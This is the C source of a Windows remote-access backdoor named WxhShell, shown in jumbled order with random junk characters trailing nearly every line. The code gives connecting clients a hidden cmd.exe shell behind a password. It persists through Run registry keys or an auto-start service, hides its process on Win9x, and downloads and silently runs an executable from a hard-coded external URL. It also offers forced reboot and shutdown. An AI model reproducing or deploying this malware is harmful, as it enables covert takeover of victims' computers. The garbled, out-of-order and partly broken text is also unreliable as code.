    if(Boot(SHUTDOWN)) E:O/=cT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vXZP>  
    else { ?%%vQ ?  
    closesocket(wsh); 3 g:P>(  
    ExitThread(0); ]k BC,m(  
    } t0Lt+E|J  
    break; N"0>)tG  
    } xSO5?eR"u  
  // 获取shell ~[kI! [  
  case 's': { d|`8\fq  
    CmdShell(wsh); <Fv7JPN%  
    closesocket(wsh); zsj]WP6 j  
    ExitThread(0); z =\ENG|x#  
    break; 0C3Y =F  
  } Q<DXDvL  
  // 退出 >s!k"s,  
  case 'x': { Y9 Bk$$#\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xT( pB-R  
    CloseIt(wsh); /XA*:8~!  
    break; 9xK#( M  
    } bdvpH DA  
  // 离开 WRRR"Q$  
  case 'q': { !b+!] 2~g}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P(o>UDy  
    closesocket(wsh); T!pA$eE  
    WSACleanup(); :o87<) _F  
    exit(1); +;*4.}  
    break; ^jcVJpyT@R  
        } "Er8RUJA  
  } . Y$xNLoP[  
  } ]dV $H  
++ 5!8Nv  
  // 提示信息 a<]vHC7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ji1#>;&  
} wzmQRn;s  
  } +QOK]NJN  
YG5mzP<T  
  return; {$ pi};  
} 4H@7t,>  
b7">IzAe  
// shell模块句柄 UZ6y3%G3^  
int CmdShell(SOCKET sock) ~Y;Z5e=  
{ c>T)Rc  
STARTUPINFO si; LF)wn -C}  
ZeroMemory(&si,sizeof(si)); 0bD\`Jiv,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Au{b1n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 90-s@a3B-j  
PROCESS_INFORMATION ProcessInfo; R:ecLbC  
char cmdline[]="cmd"; knfmJUT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JV8*;n%}-  
  return 0; g&Uu~;jq]  
} g $^Yv4  
)cL`$h4DD  
// 自身启动模式 h0A%KL  
int StartFromService(void) &" 5Yt&{  
{ 91nB?8ZE6,  
typedef struct t! u>l  
{ jLY$P<u?%P  
  DWORD ExitStatus; f)V6VNW.3  
  DWORD PebBaseAddress; )T&r770  
  DWORD AffinityMask; 2z AxGX  
  DWORD BasePriority; ;!7M<T$&  
  ULONG UniqueProcessId; b2j ~"9  
  ULONG InheritedFromUniqueProcessId; (^_I Ny*  
}   PROCESS_BASIC_INFORMATION; 5^CWF|  
gR_Exs'K  
PROCNTQSIP NtQueryInformationProcess; w'y,$gtX/  
k! x`cp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aWP9i &  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kbbHa_;aqV  
rt?*eC1b+Z  
  HANDLE             hProcess; aZ|S$-}  
  PROCESS_BASIC_INFORMATION pbi; W[e2J&G  
bweAmSs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5d# 73)x$  
  if(NULL == hInst ) return 0; $:UD #eh0?  
^>eV}I5ak  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u6:$AA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +1\t 0P24  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G_WHW(8   
W@%g_V}C*  
  if (!NtQueryInformationProcess) return 0; o3NB3@uj<  
 `=B v+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u@`y/,PX  
  if(!hProcess) return 0; Df]*S  
?iamo.0zN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7 <K=G2_:  
9%0^fhrJ  
  CloseHandle(hProcess); KFaYn  
|@f\[v9`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ICc:k%wE7  
if(hProcess==NULL) return 0; rZ.z!10  
9Sa6v?sRor  
HMODULE hMod; xK5~9StP  
char procName[255]; 7xO~v23oe  
unsigned long cbNeeded; )YZx]6\l)  
^ ]+vtk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wS >S\,LV  
[L ' >  
  CloseHandle(hProcess); 6JR FYgI  
6?JvvS5  
if(strstr(procName,"services")) return 1; // 以服务启动 q]s_hWWv  
t\v~ A0  
  return 0; // 注册表启动 *<h)q)HS  
} ~~m(CJ4S  
=8"xQ>D62  
// 主模块 r029E-  
int StartWxhshell(LPSTR lpCmdLine) 0< }BSv  
{ m}>Q#IVZ  
  SOCKET wsl; A>RK3{7  
BOOL val=TRUE; }gE^HH'  
  int port=0; <7gv<N6BQf  
  struct sockaddr_in door; "x0KiIoPk  
Jc`tOp5  
  if(wscfg.ws_autoins) Install(); x0%@u^BF  
xX Dj4j,  
port=atoi(lpCmdLine); [81q 0@  
[F{P0({%?  
if(port<=0) port=wscfg.ws_port; OsRizcgdA  
g+(Y)9h&  
  WSADATA data; &^Gp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C<w&mFozL  
cJM.Q_I}Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,e GF~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,#%I$  
  door.sin_family = AF_INET; l|;]"&|_]c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %J9+`uSl  
  door.sin_port = htons(port); .S* sGauM  
C9,Uwz<!]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k[f_7lJ2  
closesocket(wsl); oR3t vw.  
return 1; CW.T`F  
} !;${2Q  
ocZ^rqo2w  
  if(listen(wsl,2) == INVALID_SOCKET) { [N<rPHT  
closesocket(wsl); +c__U Qx  
return 1; L@ejFXQg  
} \Xr*1DI<  
  Wxhshell(wsl); jx ?"`;a  
  WSACleanup(); IlB*JJnl  
.Sv/0&O  
return 0; @18}'k  
l 3 jlKB  
} ,3!4 D^  
o,@ (]e~  
// 以NT服务方式启动 HK%W7i/k@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0F 2p4!@W  
{ >&^jKfY  
DWORD   status = 0; @3S:W2k  
  DWORD   specificError = 0xfffffff; e_cK#9+  
BKgCuz:y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D6C h6i5$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BPVOBL@   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x+DecO2  
  serviceStatus.dwWin32ExitCode     = 0; cIrc@  
  serviceStatus.dwServiceSpecificExitCode = 0; k~fH:X~x  
  serviceStatus.dwCheckPoint       = 0; }XqC'z  
  serviceStatus.dwWaitHint       = 0; 6)>otB8)J  
ofPv?_@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y! QYdf?  
  if (hServiceStatusHandle==0) return; ,R-aO= %  
P>03 DkbB  
status = GetLastError(); b # Llu$  
  if (status!=NO_ERROR) Lg|d[*;'7  
{ /w2-Pgm-[\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,lFp4 C  
    serviceStatus.dwCheckPoint       = 0; m1xR uj]  
    serviceStatus.dwWaitHint       = 0; 'u d[#@2  
    serviceStatus.dwWin32ExitCode     = status; wxT( ktE  
    serviceStatus.dwServiceSpecificExitCode = specificError; QV4FA&f&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4=N(@mS  
    return; Yb1Q6[!  
  } a>Zp?*9  
sk AF6n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {i}E)Np  
  serviceStatus.dwCheckPoint       = 0; k+Z2)j"  
  serviceStatus.dwWaitHint       = 0; [khXAf1{Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g}L>k}I?!W  
} (A "yE4rYK  
l kyK  
// 处理NT服务事件,比如:启动、停止 2IUd?i3~l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;mPX8bT  
{ tg\o"QKW9  
switch(fdwControl) *d PbV.HCl  
{ 81w"*G5AM  
case SERVICE_CONTROL_STOP: c%1{l]   
  serviceStatus.dwWin32ExitCode = 0; ;WgUhA ;q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kx?8 HA[5  
  serviceStatus.dwCheckPoint   = 0; _rmKvSD%  
  serviceStatus.dwWaitHint     = 0; RaP,dR+P  
  { %E"Z &_3{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;|:R*(2   
  } *%E\mu,,c  
  return; c]/S<w<  
case SERVICE_CONTROL_PAUSE: xErb11  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;uzLa%JQ  
  break; E]=>@EX  
case SERVICE_CONTROL_CONTINUE: 2u+!7D!w$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wrh$`JC  
  break; 14 (sp  
case SERVICE_CONTROL_INTERROGATE: [1O{yPV3s  
  break; X; 6=WqJj  
}; ,i8%qm8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B&6lG!K'?  
} vhcp[=e :  
M}Xf<:g)  
// 标准应用程序主函数 [AA}P/iW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VKf&}u/  
{ /'b7q y  
d[XMQX  
// 获取操作系统版本 7R# }AQ   
OsIsNt=GetOsVer(); HxcL3Bh$~}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M>}_2G]#F  
Qkhor-f0  
  // 从命令行安装 $48 Z>ij?f  
  if(strpbrk(lpCmdLine,"iI")) Install(); D3%2O`9  
1Kd6tnX  
  // 下载执行文件 mrr~#Bb>  
if(wscfg.ws_downexe) { 1vtC4`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8m=O408Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); OmS8cSYGc  
} ncUS8z  
GR4DxlX  
if(!OsIsNt) { ZY@ntV?  
// 如果时win9x,隐藏进程并且设置为注册表启动 P(/eVD#v  
HideProc(); J0oeCb  
StartWxhshell(lpCmdLine); +-,iC6kK  
} Vjw u:M  
else JbQY{z!  
  if(StartFromService()) x*=1C,C  
  // 以服务方式启动 * ^V?u  
  StartServiceCtrlDispatcher(DispatchTable); 5;,h8vW  
else "/mt uU3rt  
  // 普通方式启动 O?cU6u;W  
  StartWxhshell(lpCmdLine); b4WH37,lA  
,>8w|951'  
return 0; )^+hm+27v  
} e<[ ] W4"A  
s~9n13z  
Vu=/<;-N  
C,GZ  
=========================================== t,IOq[Vtk  
8ZLHN',  
xV 2C4K  
7D4tuXUq2  
NzTF2ve(  
i^V(LGQF  
" ODhq `?(N  
xwi6#>  
#include <stdio.h> c+ByEP4EG  
#include <string.h> :7mHPe }(  
#include <windows.h> 14jN0\  
#include <winsock2.h> G$%F`R[  
#include <winsvc.h> 6bLn8UT  
#include <urlmon.h>  qLP/z  
k ~ByICE  
#pragma comment (lib, "Ws2_32.lib") N5h9){Mx  
#pragma comment (lib, "urlmon.lib") z|X6\8f  
cD}]4  
#define MAX_USER   100 // 最大客户端连接数 H-U_  
#define BUF_SOCK   200 // sock buffer V)N{Fr)&  
#define KEY_BUFF   255 // 输入 buffer XmwAYf  
u3GBAjPsIk  
#define REBOOT     0   // 重启 ~BX=n9  
#define SHUTDOWN   1   // 关机 5j6`W?|q  
~!!| #A)W  
#define DEF_PORT   5000 // 监听端口 |ns?c0rM  
)>S,#_e*b  
#define REG_LEN     16   // 注册表键长度 %W)pZN}  
#define SVC_LEN     80   // NT服务名长度 $(Mz@#%  
@NqwJ.%g  
// 从dll定义API BP0:<vK{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W)/^*, Q7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "Y=`w,~~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T'@+MA) ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7t:tS7{}  
stBe ^C  
// wxhshell配置信息 Z0m`%(MJa  
struct WSCFG { sA77*T  
  int ws_port;         // 监听端口 j7k}!j_O{  
  char ws_passstr[REG_LEN]; // 口令 +a 1iZ bh  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8.Y|I5l7G  
  char ws_regname[REG_LEN]; // 注册表键名 ne/JC(  
  char ws_svcname[REG_LEN]; // 服务名 F_jHi0A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %0N HU`j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W ';X4e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -p.\fvip  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZcQu9XDIt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zo yO[#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V L$ T  
$ VP1(C  
}; hW< v5!,  
@q q"X'3t  
// default Wxhshell configuration "cPg_-n  
struct WSCFG wscfg={DEF_PORT, z+yIP ?s}(  
    "xuhuanlingzhe", C?T\5}h  
    1, G+t:]\  
    "Wxhshell", &Xqxuy ]J  
    "Wxhshell", mV$ebFco0  
            "WxhShell Service", ng"=vmu  
    "Wrsky Windows CmdShell Service", ?(R3%fU  
    "Please Input Your Password: ", Es%f@$0uy  
  1, qul#)HI  
  "http://www.wrsky.com/wxhshell.exe", dkZe.pv$j  
  "Wxhshell.exe" ;54NQB3L  
    }; e12QYoh  
,_I rE  
// 消息定义模块 I /MY4?(T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bYnq,JRA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $2?AJ/2r$b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0!_?\)X  
char *msg_ws_ext="\n\rExit."; R=lw}jH[Z  
char *msg_ws_end="\n\rQuit."; ;*M@LP{*L  
char *msg_ws_boot="\n\rReboot..."; "J1A9|  
char *msg_ws_poff="\n\rShutdown..."; ?<TJ}("/  
char *msg_ws_down="\n\rSave to "; 49$<:{~  
7upko9d/  
char *msg_ws_err="\n\rErr!"; ]HuB%G|t1V  
char *msg_ws_ok="\n\rOK!"; _9 ]:0bDUo  
:Kwu{<rJ!(  
char ExeFile[MAX_PATH]; <f>w"r  
int nUser = 0; iM)K:L7d  
HANDLE handles[MAX_USER]; 4a+gM._+O  
int OsIsNt; q[,p#uJ]  
` 3qf}=Z`  
SERVICE_STATUS       serviceStatus; <m]0!ii  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d-D,Gx]>$  
H@=oVyn/  
// 函数声明 ZH_$Q$9  
int Install(void); (?7=,A7^  
int Uninstall(void); ^w60AqR8  
int DownloadFile(char *sURL, SOCKET wsh); HcsV q+  
int Boot(int flag); L7-BuW}&  
void HideProc(void); 1 :p'  
int GetOsVer(void); ew~Z/ A   
int Wxhshell(SOCKET wsl); oS fr5 i  
void TalkWithClient(void *cs);  Sfz1p  
int CmdShell(SOCKET sock); +[!S[KE  
int StartFromService(void); S\g9 @g.  
int StartWxhshell(LPSTR lpCmdLine); mH&7{2r  
r ;RYGLx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4,I,f>V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H9/!oI1P?  
)S g6B;CJ  
// 数据结构和表定义 D_DwP$wSo  
SERVICE_TABLE_ENTRY DispatchTable[] = ub-3/T  
{ [a2]_]E%  
{wscfg.ws_svcname, NTServiceMain}, b>; ?{  
{NULL, NULL} Rql/@j`JX  
}; ga 5Q  
9\_AB.Z:  
// 自我安装 /?'~`4!(  
int Install(void) ("2X8(3z  
{ M:/NW-:  
  char svExeFile[MAX_PATH]; {EoYU\x  
  HKEY key; .Vbd-jr'M  
  strcpy(svExeFile,ExeFile); n1."Qix0  
u7L?9  
// 如果是win9x系统,修改注册表设为自启动 .\R9tt}  
if(!OsIsNt) { mWT+15\5r(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o5o myMN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P%aqY~yF3  
  RegCloseKey(key); 6]brL.eGj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V*jl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )QE6X67i  
  RegCloseKey(key); SGWb*grt  
  return 0; ]<;7ZNG"Y5  
    } _z@/~M(  
  } msBoInhI  
} MzIDeZ  
else { EN!C5/M{&  
g,Ob/g8uc  
// 如果是NT以上系统,安装为系统服务 qVC+q8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E>bkEm  
if (schSCManager!=0) 5whW>T  
{ pU7;!u:c4%  
  SC_HANDLE schService = CreateService lL)f-8DX  
  ( \sNgs#{7E7  
  schSCManager, ,a #>e  
  wscfg.ws_svcname, }dkXRce*  
  wscfg.ws_svcdisp, Y) sB]!hx  
  SERVICE_ALL_ACCESS, OcT Wq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YEu+kBlcQ  
  SERVICE_AUTO_START, os/h~,=  
  SERVICE_ERROR_NORMAL, fsL9d}  
  svExeFile, QLY;@-jF$  
  NULL, Msqqjhoy  
  NULL, 9\Jc7[b  
  NULL, x%viCkq  
  NULL, Z/q6Q#  
  NULL yB UQ!4e  
  ); m!FuC=e  
  if (schService!=0) RE>Q5#|c  
  { KU|W85ye  
  CloseServiceHandle(schService); gi!_Nz  
  CloseServiceHandle(schSCManager); IuXgxR%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c]4X`3]  
  strcat(svExeFile,wscfg.ws_svcname); #X-C~*|>j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dn 6]qW5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g *Js4  
  RegCloseKey(key); Cbff:IP  
  return 0; oco,sxT  
    } Jt8;ddz  
  } sX1DbEjj[o  
  CloseServiceHandle(schSCManager); cGlN*GJ*H  
} +#Pb@^6"m  
} ##jJa SxG  
k{qxsNM  
return 1; ,Cr%2Wg-  
} $s7U |F,I  
>Scyc-n  
// 自我卸载 0AO^d[v  
int Uninstall(void) /8l-@P. o  
{ ^Q8yb*MN  
  HKEY key; UR'[?  
u@_|4Bp,"  
if(!OsIsNt) { VIAq$iu7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EH844k8 p  
  RegDeleteValue(key,wscfg.ws_regname); mjD^iu8?  
  RegCloseKey(key); _&-d0'+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #}^waYAk)  
  RegDeleteValue(key,wscfg.ws_regname); : @|Rj_S;  
  RegCloseKey(key); 0D,@^vw bK  
  return 0; v`|]57?A  
  } h@ lz  
} cEL:5*cAU}  
} OJe!K:  
else { ]9YA~n\  
u> {aF{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'yiv.<4  
if (schSCManager!=0) ]+I9{%zB%8  
{ 9lq5\ tL-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .z#eYn% d  
  if (schService!=0) }; '@'   
  { B:"D)/\  
  if(DeleteService(schService)!=0) { 7i"b\{5  
  CloseServiceHandle(schService); 9Q9{>d#"  
  CloseServiceHandle(schSCManager); ("a@V8M`$F  
  return 0; T_*inPf  
  } N@|<3R!N*e  
  CloseServiceHandle(schService); [<XYU,{R  
  } 6{)pF  
  CloseServiceHandle(schSCManager); _^_3>}y5op  
} og";mC  
} xT> 9ZZcE  
V|YQhd0kv  
return 1; 89M'klZ   
} Q/|.=:~FO  
m1W) PUy  
// 从指定url下载文件 %,[,mW4l   
int DownloadFile(char *sURL, SOCKET wsh) i]MemM-  
{ 9^/Y7Wp/@  
  HRESULT hr; a"@f< wU~  
char seps[]= "/"; N:lE{IvRJ  
char *token; ,V1"Typ#<  
char *file; _<Ak M"  
char myURL[MAX_PATH]; b+~_/;Y9  
char myFILE[MAX_PATH]; Z^'~iU-?  
T";evM66  
strcpy(myURL,sURL); )WoH>D  
  token=strtok(myURL,seps); Z#.d7B"  
  while(token!=NULL) *EuX7LEu_  
  { l,o'J%<%  
    file=token; 1m5l((d  
  token=strtok(NULL,seps); Ey7zb#/<!  
  } O>DS%6/G  
y]Nk^ga:U6  
GetCurrentDirectory(MAX_PATH,myFILE); ]T)N{"&N/  
strcat(myFILE, "\\"); HO<|EH~lu  
strcat(myFILE, file); I(M/ X/  
  send(wsh,myFILE,strlen(myFILE),0); 336ETrG^0  
send(wsh,"...",3,0); T`e`nQ0nn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9n(68|^$  
  if(hr==S_OK) v? ."`,e  
return 0; V0^{Ss1M  
else C+' -TLeu  
return 1; %Yu~56c-  
"6d0j)YO  
} 5Y+YN1  
!yv>e7g^  
// 系统电源模块 ;O7"!\  
int Boot(int flag) :E-$:\V0}k  
{ H4ie$/[$8  
  HANDLE hToken; $IQPB_:  
  TOKEN_PRIVILEGES tkp; *6yY>LW  
fnq 3ic"V  
  if(OsIsNt) { ZiZ@3O6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3t<a3"{9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]$ d ;P  
    tkp.PrivilegeCount = 1; 9\EW~OgTu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }.o.*N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AE:(:U\  
if(flag==REBOOT) { iZG-ca  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g-K;J4 K%  
  return 0; cg{5\ Vl  
} |tAkv  
else { )p>Cf_[.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v]M:HzP  
  return 0; ;U3:1hn  
} yP7b))AW9  
  } kn}^oRT  
  else { GTLS0l)  
if(flag==REBOOT) { '1D $ ;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1 3 ]e< '  
  return 0; deAV:c  
} }W^@mi  
else { C`r:jA<LC,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kSV(T'#x  
  return 0;  _".h(  
} {ENd]@N*  
} :#g.%&  
fNLO%\G~2  
return 1; (nQm9 M(  
} poAJl;T  
(d#&m+ g]  
// win9x进程隐藏模块 ry|a_3X(I  
void HideProc(void) XMS:F]HN  
{ no8\Oees  
"_&ZRcd*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lW5Lwyt8  
  if ( hKernel != NULL ) {> ,M  
  { )jXKPLj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :h(RS ;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i[[.1MnS  
    FreeLibrary(hKernel); (nO2+@ !  
  } K+|XI|1p  
pyV`O[  
return; #M~yt`R~  
} +\ftSm>  
s=:)!M.i  
// 获取操作系统版本 &?y@`',a0{  
int GetOsVer(void) Ub\^3f  
{ w<H2#d>5!@  
  OSVERSIONINFO winfo; w=]A;GgA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [z"E"_r~%Y  
  GetVersionEx(&winfo); ?;o0~][!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @&G}'6vF!  
  return 1; Vz0(D  
  else D]_6OlIE#'  
  return 0; <cOjtq,0  
} VHPqEaR  
eGT&&Y  
// 客户端句柄模块 kBqgz| jE%  
int Wxhshell(SOCKET wsl) Ye]K 74M.  
{ lD0a<L 3  
  SOCKET wsh; !D F~]&  
  struct sockaddr_in client; 6fw7\u  
  DWORD myID; C!:Lk,Z  
j*>Df2z  
  while(nUser<MAX_USER) ]*P9=!x|M  
{ gHc1_G]  
  int nSize=sizeof(client); ;:Z5Ft m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iT:i '\~  
  if(wsh==INVALID_SOCKET) return 1; ]2l}[ w71|  
"8%$,rG1&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %Mj,\J!  
if(handles[nUser]==0) aAe`o2Xs  
  closesocket(wsh); <.Zh{"$qo  
else OK v2..8  
  nUser++; J-/w{T8:  
  } 9{4oz<U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8x- 19#  
/fUdb=!Z  
  return 0; 3|!3R'g/ >  
} EC5 = 2w<  
2H w7V3q  
// 关闭 socket A{4,ih"5  
void CloseIt(SOCKET wsh) }j2;B 8j  
{ >d`GNE  
closesocket(wsh); t]0DT_iE  
nUser--; E} ]=<8V  
ExitThread(0); #/ePpSyD  
} c*B< - l<5  
EVLL,x.~:z  
// 客户端请求句柄 w0;4O)H$O  
void TalkWithClient(void *cs) 7[P-;8)tq  
{ x2t&Wpvt  
L754odc  
  SOCKET wsh=(SOCKET)cs;  I!?Xq  
  char pwd[SVC_LEN]; wbJBGT{sm  
  char cmd[KEY_BUFF]; `Y.~eE  
char chr[1]; lx4p Tw1  
int i,j; eI"pRH*f  
%\-E R !b  
  while (nUser < MAX_USER) { b>QdP$>  
)NhC+=N  
if(wscfg.ws_passstr) { 2~\SUGW-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a T(]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r'yNc&~  
  //ZeroMemory(pwd,KEY_BUFF); UUDHknm"  
      i=0; ROn@tW  
  while(i<SVC_LEN) { UapU:>!"`  
VqvjOeCbH  
  // 设置超时 .'A1Eoo0d  
  fd_set FdRead; B-_b.4ND)  
  struct timeval TimeOut; ]B;`Jf  
  FD_ZERO(&FdRead); OS`jttU@  
  FD_SET(wsh,&FdRead); l'q%bi=f  
  TimeOut.tv_sec=8; sgP{A}4 W  
  TimeOut.tv_usec=0; CR23$<FC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @Ol(:{<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t O.5  
Ph]b6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O >+=cg  
  pwd=chr[0]; UFT JobU  
  if(chr[0]==0xd || chr[0]==0xa) { p~3 x=X4  
  pwd=0; 0ZwXuq  
  break; k L6s49  
  } /d}"s.3p  
  i++; BFw_T3}zn  
    } {e|.AD  
%w[Z/  
  // 如果是非法用户,关闭 socket q=->) &D%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _p4]\LA  
} <A=1]'1\r  
&*" *b\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @Q,Q"c2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O!nS3%De  
`XH0S`B  
while(1) { Z" ;q w  
G3:!]}  
  ZeroMemory(cmd,KEY_BUFF); OFtf)cGE  
 '4{=x]K  
      // 自动支持客户端 telnet标准   aOd#f:{y  
  j=0; <-?C\c~G@  
  while(j<KEY_BUFF) { iii|;v ]+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z5(9=8hB/  
  cmd[j]=chr[0]; X-nC2[tu'W  
  if(chr[0]==0xa || chr[0]==0xd) { mj$Ucql  
  cmd[j]=0; 6 /YJA*  
  break; Le?g ,c  
  } >Y8\f:KQ  
  j++; uarfH]T{  
    } ' m~=sC_uL  
9h6Oq(0b8  
  // 下载文件 .,z6a  
  if(strstr(cmd,"http://")) { Wgh@XB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WtZI1`\qe  
  if(DownloadFile(cmd,wsh)) 1N(1h D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8u~  
  else :p}8#rb  
